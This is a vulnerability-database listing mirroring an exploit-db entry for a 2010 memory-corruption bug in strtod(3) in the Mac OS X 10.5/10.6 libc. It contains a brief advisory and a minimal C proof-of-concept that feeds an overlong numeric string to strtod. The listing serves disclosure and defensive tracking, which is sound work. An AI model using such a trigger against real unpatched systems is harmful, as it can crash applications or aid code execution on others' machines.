Lucene search

K

Apple Mac OSX 10.x - 'libc/strtod(3)' Memory Corruption

🗓️ 08 Jan 2010 00:00:00Reported by Maksymilian ArciemowiczType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

Apple Mac OSX 10.x libc/strtod(3) Memory Corruptio

Show more
Code
// source: https://www.securityfocus.com/bid/37687/info

Mac OS X is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

Attackers may exploit this issue to execute arbitrary code within the context of affected applications.

Mac OS X 10.5 and 10.6 are affected; other versions may also be vulnerable. 

#include <stdio.h>
#include <stdlib.h>
int main ()
{
char number[] = "0.1111111111...11", *e;
double weed = strtod(number, &e);
printf("grams = %lf\n", weed);
return 0;
} 

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
08 Jan 2010 00:00Current
7.4High risk
Vulners AI Score7.4
EPSS0.97
26
.json
Report